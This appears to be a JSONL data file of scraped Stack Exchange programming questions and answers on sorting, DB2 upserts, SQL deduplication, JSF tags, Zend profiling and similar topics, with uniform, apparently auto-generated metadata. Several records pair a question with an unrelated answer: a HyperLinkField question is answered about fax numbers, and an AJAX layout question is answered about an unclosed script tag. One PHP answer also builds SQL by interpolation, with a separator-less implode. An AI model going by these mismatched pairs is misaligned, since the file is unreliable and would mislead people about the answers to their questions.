}\n}\n\n// custom sorting function to handle DnaPairT pointers\nbool sortByScore(DnaPairT * A, DnaPairT * B) { return (A->first < B->first); }\n\n// function to sort the database\nvoid sortDatabaseByScore(DnaDatabaseT& database)\n{\n    sort(database.begin(), database.end(), sortByScore);\n}\n\n// main\nint main()\n{\n    DnaDatabaseT database;\n\n    // code to load the database with DnaPairT pointers ...\n\n    calculateScoresForQuery(database, query);\n    sortDatabaseByScore(database);\n\n    // code that uses the sorted database ...\n}\n```\n```\nThe only reason you might need to look into more efficient methods is if your database is so enormous that the sorting loop takes too long to complete. If that is the case, though,  I would imagine that your\n```\nquery\n```\nfunction would be the one taking up most of the processing time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.243177"}
{"id": "hf_23f6334a4fca", "question": "<p>I'm using GPS units and mobile computers to track individual pedestrians' travels. I'd like to in real time \"clean\" the incoming GPS signal to improve its accuracy. Also, after the fact, not necessarily in real time, I would like to \"lock\" individuals' GPS fixes to positions along a road network. Have any techniques, resources, algorithms, or existing software to suggest on either front?</p>\n\n<p>A few things I am already considering in terms of signal cleaning:\n- drop fixes for which num. of satellites = 0\n- drop fixes for which speed is unnaturally high (say, 600 mph)</p>\n\n<p>And in terms of \"locking\" to the street network (which I hear is called \"map matching\"):\n- lock to the nearest network edge based on root mean squared error\n- when fixes are far away from road network, highlight those points and allow user to use a GUI (OpenLayers in a Web browser, say) to drag, snap, and drop on to the road network</p>\n\n<p>Thanks for your ideas!</p>\n", "question_body": "", "answer": "I assume you want to \"clean\" your data to remove erroneous spikes caused by dodgy readings. This is a basic dsp process. There are several approaches you could take to this, it depends how clever you want it to be.\nAt a basic level yes, you can just look for really large figures, but what is a really large figure? Yeah 600mph is fast, but not if you're in concorde. Whilst you are looking for a value which is \"out of the ordinary\", you are effectively hard-coding \"ordinary\". A better approach is to examine past data to determine what \"ordinary\" is, and then look for deviations. You might want to consider calculating the variance of the data over a small local window and then see if the z-score of your current data is greater than some threshold, and if so, exclude it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.267678"}
{"id": "hf_972ec13cdc60", "question": "<p>From my code (Java) I want to ensure that a row exists in the database (DB2) after my code is executed.</p>\n\n<p>My code now does a <code>select</code> and if no result is returned it does an <code>insert</code>.  I really don't like this code since it exposes me to concurrency issues when running in a multi-threaded environment.</p>\n\n<p>What I would like to do is to put this logic in DB2 instead of in my Java code.\nDoes DB2 have an <code>insert-or-update</code> statement? Or anything like it that I can use?</p>\n\n<p>For example:</p>\n\n<pre><code>insertupdate into mytable values ('myid')\n</code></pre>\n\n<p>Another way of doing it would probably be to always do the insert and catch \"SQL-code -803 primary key already exists\", but I would like to avoid that if possible.</p>\n", "question_body": "", "answer": "Yes, DB2 has the MERGE statement, which will do an UPSERT (update or insert).\n```\n```\nMERGE INTO target_table USING source_table ON match-condition\n{WHEN [NOT] MATCHED \n          THEN [UPDATE SET ...|DELETE|INSERT VALUES ....|SIGNAL ...]}\n[ELSE IGNORE]\n```\n```\nSee:\nhttp://publib.boulder.ibm.com/infocenter/db2luw/v9/index.jsp?topic=/com.ibm.db2.udb.admin.doc/doc/r0010873.htm\nhttps://www.ibm.com/support/knowledgecenter/en/SS6NHC/com.ibm.swg.im.dashdb.sql.ref.doc/doc/r0010873.html\nhttps://www.ibm.com/developerworks/community/blogs/SQLTips4DB2LUW/entry/merge?lang=en", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.377269"}
{"id": "hf_55269e48a16e", "question": "<p>I have an array full of random content item ids. I need to run a mysql query (id in the array goes in the WHERE clause), using each ID that's in the array, in the order that they appear in the said array. How would I do this? </p>\n\n<p>This will be an UPDATE query, for each individual ID in the array.</p>\n", "question_body": "", "answer": "Using the \"IN\" Clause\nMight be what you're after\n```\n```\n$ids = array(2,4,6,8);\n$ids = implode($ids);\n$sql=\"SELECT * FROM my_table WHERE id IN($ids);\";\nmysql_query($sql);\n```\n```\notherwise, what's wrong with\n```\n```\n$ids = array(2,4,6,8);\nforeach($ids as $id) {\n    $sql=\"SELECT * FROM my_table WHERE ID = $id;\";\n    mysql_query($sql);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.402201"}
{"id": "hf_6371de99a959", "question": "<p>Is it possible to create a stored procedure as</p>\n\n<pre><code>CREATE PROCEDURE Dummy \n    @ID INT NOT NULL\nAS\nBEGIN\nEND\n</code></pre>\n\n<p>Why is it not possible to do something like this?</p>\n", "question_body": "", "answer": "Parameter validation is not currently a feature of procedural logic in SQL Server, and NOT NULL is only one possible type of data validation. The CHAR datatype in a table  has a length specification. Should that be implemented as well? And how do you handle exceptions? There is an extensive, highly developed and somewhat standards-based methodology for exception handling in table schemas; but not for procedural logic, probably because procedural logic is defined out of relational systems. On the other hand, stored procedures already have an existing mechanism for raising error events, tied into numerous APIs and languages. There is no such support for declarative data type constraints on parameters. The implications of adding it are extensive; especially since it's well-supported, and extensible, to simply add the code:\n```\n```\nIF ISNULL(@param) THEN\n    raise error ....\nEND IF\n```\n```\nThe concept of NULL in the context of a stored procedure isn't even well-defined especially compared to the context of a table or an SQL expression. And it's not Microsoft's definition. The SQL standards groups have spent a lot of years generating a lot of literature establishing the behavior of NULL and the bounds of the definitions for that behavior. And stored procedures isn't one of them.\nA stored procedure is designed to be as light-weight as possible to make database performance as efficient as possible. The datatypes of parameters are there not for validation, but to enable the compiler to give the query optimizer better information for compiling the best possible query plan. A NOT NULL constraint on a parameter is headed down a whole nother path by making the compiler more complex for the new purpose of validating arguments. And hence less efficient and heavier.\nThere's a reason stored procedures aren't written as C# functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.439762"}
{"id": "hf_78ca99f7893f", "question": "<p>In an aspx page I get the Windows username with the function <code>Request.LogonUserIdentity.Name</code>. This function returns a string in the format \"domain\\user\".</p>\n\n<p>Is there some function to only get the username, without resorting to the <code>IndexOf</code> and <code>Substring</code>, like this?</p>\n\n<pre><code>public static string StripDomain(string username)\n{\n    int pos = username.IndexOf('\\\\');\n    return pos != -1 ? username.Substring(pos + 1) : username;\n}\n</code></pre>\n", "question_body": "", "answer": "I don't believe so. I have got the username using these methods before-\n```\n```\nvar user = System.Web.HttpContext.Current.User;   \nvar name = user.Identity.Name;\n\nvar slashIndex = name.IndexOf(\"\\\\\");\nreturn slashIndex > -1 \n    ? name.Substring(slashIndex  + 1)\n    : name.Substring(0, name.IndexOf(\"@\"));\n```\n```\nor\n```\n```\nvar name = Request.LogonUserIdentity.Name;\n\nvar slashIndex = name.IndexOf(\"\\\\\");\nreturn slashIndex > -1 \n    ? name.Substring(slashIndex  + 1)\n    : name.Substring(0, name.IndexOf(\"@\"));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.465175"}
{"id": "hf_27e126762633", "question": "<p>I have a greasemonkey user script with this single line of code...</p>\n\n<pre><code>window.close();\n</code></pre>\n\n<p>but firefox does not allow a user script to close a window (as reported by an error message in the error console)</p>\n\n<p>Is there a work around to this problem?</p>\n", "question_body": "", "answer": "You need to change configuration settings of Firefox (about:config) to allow this.\nSteps:\nGo to address bar and type\nabout:config\nGo to parameter\ndom.allow_scripts_to_close_windows\nSet its value as\ntrue\nNow your script can close the TAB with 'window.close()'\neg.\n```\n```\nfunction closeTab(){\n    window.open('', '_self', '');\n    window.close();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.515124"}
{"id": "hf_dbe2fd6681ee", "question": "<p>Is there any way to re-generate views from newly updated model?</p>\n", "question_body": "", "answer": "The scaffold is not intended to\ncreate\nthe interface, only to make a starting point for further development. I'm not sure it's even possible (without a lot of unnecessary work) to redo a scaffold, it's much quicker to manually edit the view and controller anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.540761"}
{"id": "hf_eae83ca70162", "question": "<p>As per c99 standard, size of <code>long long</code> should be minimum 64 bits. How is this implemented in a 32 bit machine (eg. addition or multiplication of 2 <code>long long</code>s). Also, What is the equivalent of <code>long long</code> in C++.</p>\n", "question_body": "", "answer": "If you care about bit-sizes, you should use\n```\n```\n#include <stdint.h>\n\nint32_t n;\n```\n```\nand friends.  This works for C++ as well.\n64-bit numbers on 32-bit machines are implemented as you think,\nby 4 extra bytes.  You could therefore implement your own 64-bit\ndatatype by doing something like this:\n```\n```\nstruct my_64bit_integer {\n    uint32_t low;\n    uint32_t high;\n};\n```\n```\nYou would of course have to implement mathematical operators yourself.\nThere is an int64_t in the stdint.h that comes with my GCC version,\nand in Microsoft Visual C++ you have an __int64 type as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.601754"}
{"id": "hf_503bd8cd64c1", "question": "<p>Given a string as below, I need to convert:</p>\n\n<p>1 Dec 2008 06:43:00 +0100</p>\n\n<p>to</p>\n\n<p>MM/DD/YYYY HH:MM:SSAM</p>\n\n<p>using jython what is the best way to do this?</p>\n", "question_body": "", "answer": "I don't have jython handy, but I'd expect something like this to work:\n```\n```\nimport java\nsdf = java.text.SimpleDateFormat\n\nfmt_in = sdf('d MMM yyyy HH:mm:ss Z')\nfmt_out = sdf('MM/dd/yyyy HH:mm:ssaa')\n\nfmt_out.format(fmt_in.parse(time_str))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.626429"}
{"id": "hf_73268d76dd16", "question": "<p>While checking out the generic collection in .net i found about KeyedByTypeCollection. Although I worked with it and got to know how to use it, I did not get in which scenario it will be useful.</p>\n\n<p>I read through <a href=\"https://stackoverflow.com/questions/178255/serviceprovider-cache-etc-done-with-generics-without-cast\">ServiceProvider, cache etc. done with generics without cast</a>, but could not get much.</p>\n\n<p>I think, there must have a reason as to why it has been included in the .Net framework. Any body who have used the KeyedByTypeCollection can explain me why they used it or any body, if they know in which scenario potentially it can be used, can explain it to me. </p>\n\n<p>As more of a curiosity does any other languages support this type of collection ? </p>\n", "question_body": "", "answer": "AFAIK, this generic collection serves just as a simple wrapper for\n```\nKeyedCollection<KEY,VALUE>\n```\nwhen\n```\nKEY\n```\nis the Type of the\n```\nVALUE\n```\nto store.\nFor example, it is very convinient to use this collection if you want to implement a factory returning singletons:\n```\n```\npublic class Factory<T>\n{\n    private readonly KeyedByTypeCollection<T> _singletons = new KeyedByTypeCollection<T>();\n\n    public V GetSingleton<V>() where V : T, new()\n    {\n        if (!_singletons.Contains(typeof(V)))\n        {\n            _singletons.Add(new V());\n        }\n        return (V)_singletons[typeof(V)];\n    }\n}\n```\n```\nThe use of this simple factory would be something like the following:\n```\n```\n[Test]\n    public void Returns_Singletons()\n    {\n        Factory<ICar> factory = new Factory<ICar>();\n        Opel opel1 = factory.GetSingleton<Opel>();\n        Opel opel2 = factory.GetSingleton<Opel>();\n\n        Assert.IsNotNull(opel1);\n        Assert.IsNotNull(opel2);\n        Assert.AreEqual(opel1, opel2);\n    }\n```\n```\nAnother usage for\n```\nKeyedByTypeCollection<T>\n```\nwould be inside a service locator...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.653150"}
{"id": "hf_efe1b7f35a1f", "question": "<p>Because this is not the kind of company where wiki's are accepted, we tend to do a lot of communication through outlook. Sending code snippets through it is painfull.\nIs there some way to get the markdown thing we have here, but in outlook?</p>\n", "question_body": "", "answer": "Since Outlook uses Word as an email editor (Outlook 2007, Outlook 2003 can be configured to use Word) you could use the AutoCorrect feature to apply simple formatting to your email.\n```\n__text__\n```\nwill trigger italic and\n```\n**bold**\n```\nwill trigger bold. List can be created automatically when typing\n```\n-\n```\nor\n```\n1.\n```\nAnother option might be to run a VBA macro on sending the email which converts the Markdown formatting to (X)HTML.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.698639"}
{"id": "hf_e606601dc45d", "question": "<p>If I have a table where <strong>the cells in a column should not have the same values</strong>, how do I check this and update? (I know I can set constraints in the settings, but I don't want to do that.)</p>\n\n<p>Say the column name is called <em>unique hash name</em> and contains </p>\n\n<pre>\nPeter\nPeter\nPeter\nDave\nDave\n</pre>\n\n<p>and so on. I want that to transform to:</p>\n\n<pre>\nPeter\nPeter1\nPeter2\nDave\nDave1\n</pre>\n\n<p>What is the T-SQL for SQL Server to do that?</p>\n\n<p><strong>Update</strong>: For clarity's sake, let's call the table \"Persons\" and the cell I want unique \"UniqueName\". Could you make it a SELECT-statement, so I can test the result before updating. And I am using <strong>SQL Server 2005 and above</strong>.</p>\n", "question_body": "", "answer": "EDIT: I've changed the query to use your field names and added a \"select-only\" query for you to preview.\nThis is actually pretty easy to do... just use ROW_NUMBER() with a PARTITION clause:\n```\n```\nUPDATE Persons SET UniqueName = temp.DeDupded FROM\n    (SELECT ID,\n        CASE WHEN ROW_NUMBER() OVER\n            (PARTITION BY UniqueName ORDER BY UniqueName) = 1 THEN UniqueName\n        ELSE UniqueName + CONVERT(VARCHAR, ROW_NUMBER()\n            OVER (PARTITION BY UniqueName ORDER BY UniqueName)-1) END AS DeDupded\n    FROM Persons) temp\nWHERE Persons.ID = temp.ID\n```\n```\nIf you want a \"select-only\", then here you go:\n```\n```\nSELECT ID,\n    CASE WHEN ROW_NUMBER() OVER\n        (PARTITION BY UniqueName ORDER BY UniqueName) = 1 THEN UniqueName\n    ELSE UniqueName + CONVERT(VARCHAR, ROW_NUMBER()\n        OVER (PARTITION BY UniqueName ORDER BY UniqueName)-1) END AS DeDupded\nFROM Persons\n```\n```\nEDIT Again: If you're looking for a SQL Server 2000 Solution...\n```\n```\nCREATE TABLE #Persons ( ID INT IDENTITY(1, 1), UniqueName VARCHAR(100) )\n\nINSERT INTO #Persons VALUES ('Bob')\nINSERT INTO #Persons VALUES ('Bob')\nINSERT INTO #Persons VALUES ('Bob')\nINSERT INTO #Persons VALUES ('John')\nINSERT INTO #Persons VALUES ('John')\n\nSELECT\n    ID,\n    CASE WHEN Position = 0 THEN UniqueName\n        ELSE UniqueName + (CONVERT(VARCHAR, Position))\n    END AS UniqueName\nFROM\n    (SELECT\n        ID,\n        UniqueName,\n        (SELECT COUNT(*) FROM #Persons p2 WHERE\n            p1.UniqueName = p2.UniqueName AND p1.ID > p2.ID) AS Position\n    FROM\n        #Persons p1) _temp\n\nDROP TABLE #Persons\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.730063"}
{"id": "hf_f9af0554824b", "question": "<p>Is there a clean and OS independent way to determine the local machine's IP addresses from Perl?</p>\n\n<p>So far I have found the following solutions:</p>\n\n<ul>\n<li><p>parse the output of ifconfig and ipconfig (hard, different windows versions have different ipconfig outputs)</p></li>\n<li><p>establish a network connection to a well-known IP and examine the socket's local IP address (won't work if I can't establish a connection and will determine only one IP address)</p></li>\n</ul>\n\n<p>Any better suggestion?</p>\n", "question_body": "", "answer": "use WMI?\nExample of extracting IP addresses\n(in Powershell, but it's pretty clear what's happening)\nExample of accessing WMI from Perl\n(not the same WMI functions, but again the process is reasonably clear)\nEDIT: after a search on Google codesearch for Networkadapterconfiguration and language \"perl\":\nExample looks like pretty much what you need\nEDIT2: In fact the OCS code seems to contain code for most platforms to do this, so while there may be no one set of code that does this, you may be able to re-use their ideas. It's GPL'd, though.\nFor example,\nhere's the Solaris code\n. Other bits cover BSD, Linux, MacOS...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.785088"}
{"id": "hf_7f39a2038fa9", "question": "<p>How do I get the battery status on an iPhone?</p>\n", "question_body": "", "answer": "Iphone SDK 3.0 beta supports this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.809201"}
{"id": "hf_91b2d8627612", "question": "<p>Explain why a nullable int can't be assigned the value of null e.g</p>\n\n<pre><code>int? accom = (accomStr == \"noval\" ? null  : Convert.ToInt32(accomStr));\n</code></pre>\n\n<p>What's wrong with that code?</p>\n", "question_body": "", "answer": "The problem isn't that null cannot be assigned to an int?. The problem is that both values returned by the ternary operator must be the same type, or one must be implicitly convertible to the other. In this case, null cannot be implicitly converted to int nor vice-versus, so an explict cast is necessary. Try this instead:\n```\n```\nint? accom = (accomStr == \"noval\" ? (int?)null : Convert.ToInt32(accomStr));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.832939"}
{"id": "hf_5fd6ae092378", "question": "<p>I'm busy writing a class that monitors the status of RAS connections.  I need to test to make sure that the connection is not only connected, but also that it can communicate with my web service.  Since this class will be used in many future projects, I'd like a way to test the connection to the webservice without knowing anything about it.</p>\n\n<p>I was thinking of passing the URL to the class so that it at least knows where to find it.  Pinging the server is not a sufficient test.  It is possible for the server to be available, but the service to be offline.</p>\n\n<p>How can I effectively test that I'm able to get a response from the web service?</p>\n", "question_body": "", "answer": "You are right that pinging the server isn't sufficient. The server can be up, but the web service unavailable due to a number of reasons.\nTo monitor our web service connections, I created a IMonitoredService interface that has a method CheckService(). The wrapper class for each web service implements this method to call an innocuous method on the web service and reports if the service is up or not. This allows any number of services to be monitored with out the code responsible for the monitoring knowing the details of the service.\nIf you know a bit about what the web service will return from accessing the URL directly, you could try just using the URL. For example, Microsoft's asmx file returns a summary of the web service. Other implementations may behave differently though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.893975"}
{"id": "hf_4ffef6818ba3", "question": "<p>In my code i create a HyperLinkField object. Depending on a database field value, i want to set the NavigateUrl property. This is my problem, i don't know how.</p>\n\n<p>With:</p>\n\n<pre><code>objHF.DataNavigateUrlFields = new[] { \"id\", \"Stype\" };\n</code></pre>\n\n<p>i get my database field. Now i want to check the Stype value. Depeding on this value i want to set the page where to navigate to. How can i do this??</p>\n\n<p>At the end i set my datasource to the gridview and after that i call the bind() method.</p>\n\n<p>I hope someone can help me out</p>\n", "question_body": "", "answer": "Not in New Zealand at least.\nHere, Fax-Numbers do not differ from normal numbers in terms of namespacing.\nA fax number may be only 1 digit ( the rightmost ) different from their normal line, or even a company may not\nhave\ndistinct FAX/Phone lines, and they just share a line and use tone detection to initiate fax protocol instead.\nAlso, you don't need to register with anybody to have fax services work on your phone line, so there's no index you can look up to see if its a fax or not. The only way to know is initiate a call, and see if you get a fax response, and even then, if the Fax happens to be turned off, you'll get a false negative.\nI think your question may turn out to result in hunting for phantoms.\nOh, and for additional fun, you may have desktops with their dialup modem plugged into the wall merely emulating a fax device :). If you don't want to include these as \"fax machines\". you will be most likely out-of-luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.950527"}
{"id": "hf_281952797f7b", "question": "<p>What is the difference between the selectitem and selectitems tags in jsf?</p>\n", "question_body": "", "answer": "The difference is exactly what you would expect. The\n```\nselectitem\n```\ntag adds a single item to the HTML list while\n```\nselectitems\n```\nadds multiple items.\nFrom\nJSF Core Tag Reference\n:\nSelectItem:\nThe\n```\nSelectItem\n```\ntag adds a child\n```\nUISelectItem\n```\ncomponent to the component associated with the enclosing tag. In the HTML renderkit, this creates a single element. It can be used with any of the select tags in the JSF HTML tag library. The body content of this tag must be empty.\nExample:\n```\n```\n<h:selectOneMenu id=\"list1\">\n    <f:selectItem itemLabel=\"Option 1\" itemValue=\"1\"></f:selectItem>\n</h:selectOneMenu>\n```\n```\nHTML Output:\n```\n```\n<select id=\"list1\" name=\"list1\" size=\"1\">\n    <option value=\"1\">Option 1</option>\n</select>\n```\n```\nSelectItems:\nThe\n```\nSelectItems\n```\ntag adds a child\n```\nUISelectItems\n```\ncomponent to the component associated with enclosing tag. You can use this tag to set a list of objects in your domain model as the options for a select component. The body content of this tag must be empty.\nExample:\n```\n```\n<h:selectManyListbox id=\"list\">\n    <f:selectItems value=\"#{optionBean.optionList}\"></f:selectItem>\n</h:selectManyListbox>\n```\n```\nHTML Output:\n```\n```\n<select id=\"list\" name=\"list\" multiple=\"true\" size=\"-2147483648\">\n    <option value=\"1\">Option 1</option>\n    <option value=\"2\">Option 2</option>\n    <option value=\"3\">Option 3</option>\n</select>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:05.973214"}
{"id": "hf_98760fe6273c", "question": "<p>I have a page with 3 layers, one for navigation, one for database records and one for results. When I click on a database record, the results are displayed in the result layer via ajax. For navigation, the links will simply be different queries. I am wondering if it would make sense to have each different query be sent as ajax data and palced into the records layer, or rather to have the query appended to the php file each time. Which is the more efficient approach?</p>\n", "question_body": "", "answer": "Your\n```\n<script>\n```\ntag is never closed and your\nJavaScript\ninstructions are not ended with semicolons. It might be the source of the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.036326"}
{"id": "hf_30611df3abce", "question": "<p>I'm having trouble searching for a decent Java library that provides Markov chains, and other advanced distributions (as in, statistics).</p>\n\n<p>I've found <a href=\"http://sourceforge.net/projects/hydra-mcmc/\" rel=\"noreferrer\">http://sourceforge.net/projects/hydra-mcmc/</a>   on source forge, and it looks somewhat useable, but does anyone know / use a more up-to-date package? (Haven't really have a trove through this package, but one would assume a more well maintained package would be desirable).</p>\n\n<p>Anyone able to make a suggestion?</p>\n", "question_body": "", "answer": "It is not a library per say, but it can give you some pointers:\nJava-mcmc\nintroduced some sophisticated applets illustrating:\nCommon Metropolis-Hastings algorithms\nCoupling constructions for Markov chains\nThe source code for this web demo of\nMarkov Chain Monte Carlo (MCMC)\nis\navailable here\n.\nOther similar projects are\nlisted there\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.059954"}
{"id": "hf_3d8794794bef", "question": "<p>My usage-scenario may seem a bit unusual, but here it is: When using vim (it's one of about 4 different editors I use regularly), I use it in two different situations. The first is via the GUI, in which I'll have multiple buffers and have some settings different than when I use it from the command-line (by testing \"<code>if has('gui_running')</code>\"). The other is when I need to do something short-and-quick, from the command-line, such as make a small change to a dot-file or other type of config.</p>\n\n<p>What I would <em>like</em> to do, is have sessions enabled for the GUI, but have any command-line invocations ignore them. That is, I don't want to bring up the full existing session on a CL invocation, nor do I want it (and whatever buffer/file it involved) to alter the session that the GUI is using. As I'm fairly new to the post-vi-functionality of vim, I'm not really sure how to pull this off.</p>\n", "question_body": "", "answer": "do your session magic in your\n```\n.gvimrc\n```\nand everything else in your\n```\n.vimrc\n```\n.  The GUI will source both, but the CL version will only source the\n```\n.vimrc\n```\n.\nThe session magic is to set up autocommands to write your session to a file on exit, and reload it by sourcing the file upon entrance.\n```\n```\nau VimLeave * mksession ~/.gvimsession\nau VimEnter * source ~/.gvimsession\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.084097"}
{"id": "hf_19168a792330", "question": "<p>Is there a way to find a node matched on part of a value.</p>\n\n<p>If I have the following:</p>\n\n<pre><code>&lt;competition id=\"100\" name=\"Barclays Premier League\"/&gt;\n&lt;competition id=\"101\" name=\"CocaCola Championship\" /&gt;\n&lt;competition id=\"102\" name=\"CocaCola League 1\" /&gt;\n</code></pre>\n\n<p>Given the string \"Premier League\" or even \"Prem\", how would I match the correct node and get id 100.</p>\n\n<p>I have managed this using for-each and contains, but this is very inefficient and does not work fast enough for our requirements.</p>\n", "question_body": "", "answer": "String handling is not something XSLT is amazing at but there are a few options.\nIn this case you might try:\n```\n```\n//competition[contains(@name,'Prem')]\n```\n```\nsee\nhere\nfor more options and details", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.108259"}
{"id": "hf_2adf0c9ba772", "question": "<p>Is there a way to make stack trace to display the whole generated SQL statement when there is an error instead just the first few characters of it?</p>\n\n<p>This is what it currently displays</p>\n\n<blockquote>\n  <p>...\\Zend\\Db\\Adapter\\Pdo\\Abstract.php(220): Zend_Db_Adapter_Abstract->query('UPDATE \"diction...', Array)</p>\n</blockquote>\n\n<p>..and I would like to see the whole update statement before sent to the db to track what is wrong with it.</p>\n\n<p>Thanks for the help.\nSWK</p>\n", "question_body": "", "answer": "If you want to view the complete sql statement you can use Zend_Debug. For example if your sql statement is in the variable $select and you want to view the complete sql statement you can use the following line of code:\n```\n```\nZend_Debug::Dump($select);\nexit;\n```\n```\nOr if your code is created withe the Zend_Db_Table class you can use:\n```\n```\n$select = new Zend_Db_Select(Zend_Registry::get('db'));\n$select->from('string');\nZend_Debug::Dump($select->assemble());\nexit;\n```\n```\nI think the best way to view the sql statement is by using the profiling function on the database connection. This is combination withe the logging function and the firePHP add-on for Firefox is my favorite setup.\nIf you use the MVC configuration of Zend Framework this is done white this lines of code:\n```\n```\n// setup the database connection\n$db = Zend_Db::factory(Zend_Registry::get('config')->database->adapter,Zend_Registry::get('config')->database->params);\n\n// create a new profiler\nprofiler = new Zend_Db_Profiler_Firebug('All DB Queries');\n\n// enable profiling (this is only recommended in development mode, disable this in production mode)\n$profiler->setEnabled(true);\n// add the profiler to the database object\n$db->setProfiler($profiler);\n\n// setup the default adapter to use for database communication\nZend_Db_Table_Abstract::setDefaultAdapter($db);\n\n// register the database object to access it in other parts of the project\nZend_Registry::set('db',$db);\n\n/**\n*\n* This part is optional\n*\n* You can use this logger to log debug information to the firephp add-on for Firefox\n* This is handy for debugging but must be disabled in production mode\n*\n*/\n\n// create logger\n$logger = new Zend_Log();\n\n// create firebug writer\n$firebug_writer = new Zend_Log_Writer_Firebug();\n\n// add writer to logger\n$logger->addWriter($firebug_writer);\n\n// register the logger object to access it in other parts of the project\nZend_Registry::set('log',$logger);\n```\n```\nThe firebug add-on (requirement for firephp) can be found on this website:\nFirebug\nThe FirePHP add-on can be found on this website:\nFirePHP\nIvo Trompert", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": 